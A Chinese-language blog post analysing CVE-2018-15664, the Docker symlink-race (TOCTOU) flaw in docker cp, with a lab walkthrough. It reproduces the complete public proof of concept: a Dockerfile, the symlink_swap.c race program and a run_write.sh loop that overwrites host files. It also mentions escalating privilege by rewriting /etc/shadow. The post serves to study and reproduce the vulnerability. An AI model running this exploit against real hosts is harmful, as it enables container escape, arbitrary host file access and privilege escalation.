CVE-2018-15664符号链接替换漏洞
2023-06-15 17:16:52 # Web Security # Cloud Security

前言

试想在渗透过程中拿到了一个宿主机的权限,但权限过低无法读写文件,应该如何提权或者实现对该宿主机的其他目录进行任意读写操作呢?

Aleksa Sarai于2019年公布了一个docker symlink-race attack漏洞 - 在Docker 18.06.1-ce-rc2版本之前,docker中的FollowSymblinkInScope()函数有可能因race condition(条件竞争)遭受**TOCTOU(Time of Check to Time of Use)**攻击,而docker cp的实现大量使用了该函数,因此docker cp存在被利用的危险。

前置知识

TOCTOU Attack

从字面意思上理解,TOCTOU(Time of Check to Time of Use) 实际上就是指check(检查)到use(使用)的这段时间。

Symlink也就是软链接(symbolic link)、符号链接。

假设A是B的软链接,A指向的inode实际上与B指向的inode是不一样的,但是A的数据块中存放了B的路径(具体见操作系统中软链接和硬链接的概念与区别)。

linux中设置一个软链接(类似于Windows上的快捷方式):

ln -s /home/a/old symlink

FollowSymlinkInScope

在docker中,FollowSymlinkInScope函数的作用是将一个path进行安全地解析,解析后再进行使用。

问题就在于 - 解析完之后和使用之前有间隙,用Aleksa的话说就是:

After the full path has been resolved, the resolved path is passed around a bit and then operated on a bit later.

这就意味着,如果在解析检查完路径之后、使用之前添加一个**symlink(软链接)**,最后实际操作的实际是symlink指向的路径,而非其原本想要使用的解析的路径。

docker cp

docker cp命令就使用了该函数。

docker cp /a ctn_id:/b这段命令表示将宿主机的/a复制到容器下的/b。在这个复制的过程中,docker会解析/b,如果/b是容器内的一个符号链接,那么就会将其在容器内解析为路径,最后再进行复制。

  • 这里想象一个攻击场景:先让/b是一个容器里的正常路径,在容器检查解析完/b之后,赶在容器使用该解析后的path之前,将/b指向一个恶意的symlink。最后/b这个symlink会在宿主机上进行解析,如果该符号链接/b在容器内指向容器中的根目录/,那么现在他会在宿主机上被解析为宿主机的根目录/,而并不是在容器里被解析。因此这段复制命令,会变成将宿主机下的/a复制到宿主机下的/目录,这就实现了任意写的功能。

  • 再想象一个攻击场景:docker cp ctn_id:/b /a 命令将容器下的/b复制到宿主机下的/a,利用该漏洞,我们可以将/b用symlink指向我们想要读取的任意文件,在宿主机上解析之后,就能将该文件复制到/a上了。这就实现了任意读的功能。

漏洞利用场景

拿到低权限账户,但该账户可以使用docker cp命令。可以通过该漏洞读取任意文件,也可以通过修改/etc/shadow文件来实现提权。

题外话:但其实这种利用场景并不特别实用,如果拿到的宿主机用户并非ROOT权限,却又能使用docker的命令,那么其实使用Docker运行一个特权容器会更为简单。

环境安装

使用Metarget靶场安装存在漏洞的docker版本

  • Ubuntu 16.04 or 18.04
  • Python >= 3.6 (Python 2.x is unsupported!)
  • pip3
1
2
#安装CVE-2018-15664环境
./metarget cnv install cve-2018-15664

POC解析

我们下载好后的POC结构如下:

image-20220124160721960

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Build the binary.
FROM opensuse/leap
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c

# Set up our malicious rootfs.
FROM opensuse/leap
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]

该Dockerfile主要是为了构建漏洞利用程序symlink_swap(通过gcc来编译),并将其放在容器的根目录下。在该根目录下创建一个w00t_w00t_im_a_flag文件,文件内容为"FAILED -- INSIDE CONTAINER PATH" >"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

#define usage() \
do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0)

#define bail(msg) \
do { perror("symlink_swap: " msg); exit(1); } while (0)

/* No glibc wrapper for this, so wrap it ourselves. */
#define RENAME_EXCHANGE (1 << 1)
/*int renameat2(int olddirfd, const char *oldpath,
int newdirfd, const char *newpath, int flags)
{
return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}*/

/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
if (argc != 2)
usage();

char *symlink_path = argv[1];
char *stash_path = NULL;
if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
bail("create stash_path");

/* Create a dummy file at symlink_path. */
struct stat sb = {0};
if (!lstat(symlink_path, &sb)) {
int err;
if (sb.st_mode & S_IFDIR)
err = rmdir(symlink_path);
else
err = unlink(symlink_path);
if (err < 0)
bail("unlink symlink_path");
}

/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");

/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}

symlink_swap这个恶意文件将会被放在docker容器里,被攻击者用来循环交换symlink和一个正常路径的名字。

如果我们想利用docker cp /shellcode ctr_id:/test命令来完成向宿主机的根目录``/写入shellcode`:

  • 使用该恶意程序在容器中创建一个符号链接,该符号链接指向/根目录,命名该符号链接为evil
  • 再创建一个/test的正常目录,无限循环地重命名(交换)/test/evil的名字。
  • 漏洞未触发时,docker守护进程解析的/test并不是一个符号链接,解析完之后,恶意程序将/test/evil的名字进行交换(重命名)
  • 当docker开始copy操作的时候,实际copy的ctr_id:/test变成了一个符号链接(也就是重命名后的evil)
  • 该符号链接在宿主机上被解析为/,而这个/会指向宿主机的/,从而我们完成了将shellcode写入宿主机根目录/的跨目录写操作。

run_read.sh和run_write.sh

POC中提供了两个shell可以利用:

run_read.sh

  • 使用docker cp将容器内文件复制到宿主机
  • 利用漏洞可以完成在宿主机上任意读的操作

run_write.sh

  • 使用docker cp将宿主机上的文件复制到容器
  • 利用漏洞可以完成在宿主机上任意写的操作

此处我们将使用run_write.sh来模拟任意写的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

echo "SUCCESS -- HOST FILE CHANGED" | tee localpath

# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done

结合恶意程序和该run_write.sh看,该shell的目的是将localpath文件的内容(“SUCCESS – HOST FILE CHANGED”)写入宿主机的/中,从而实现在宿主机上跨目录任意写的操作。当然我们不能保证我们每次都是在docker守护进程解析之后才进行名字的交换,所以不是每一次都能成功。

漏洞复现

这里我们使用run_write.sh来完成攻击

直接./run_write.sh运行即可

image-20220124170822558

后续修复

https://developer.aliyun.com/article/704515

Reference

阿里云容器服务 ACK. (2019). CVE-2018-15664漏洞分析报告-阿里云开发者社区. [online] Available at: https://developer.aliyun.com/article/704515 [Accessed 24 Jan. 2022].

Sarai, A. (2019). oss-sec: CVE-2018-15664: docker (all versions) is vulnerable to a symlink-race attack. [online] Available at: https://seclists.org/oss-sec/2019/q2/131 [Accessed 23 Jan. 2022].

Appendix

源码:docker-ce-18.13.1-ce

docker/pkg/symlink/fs.go:FollowSymlinkInScope

1
2
3
4
5
6
7
8
9
10
11
12
13
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}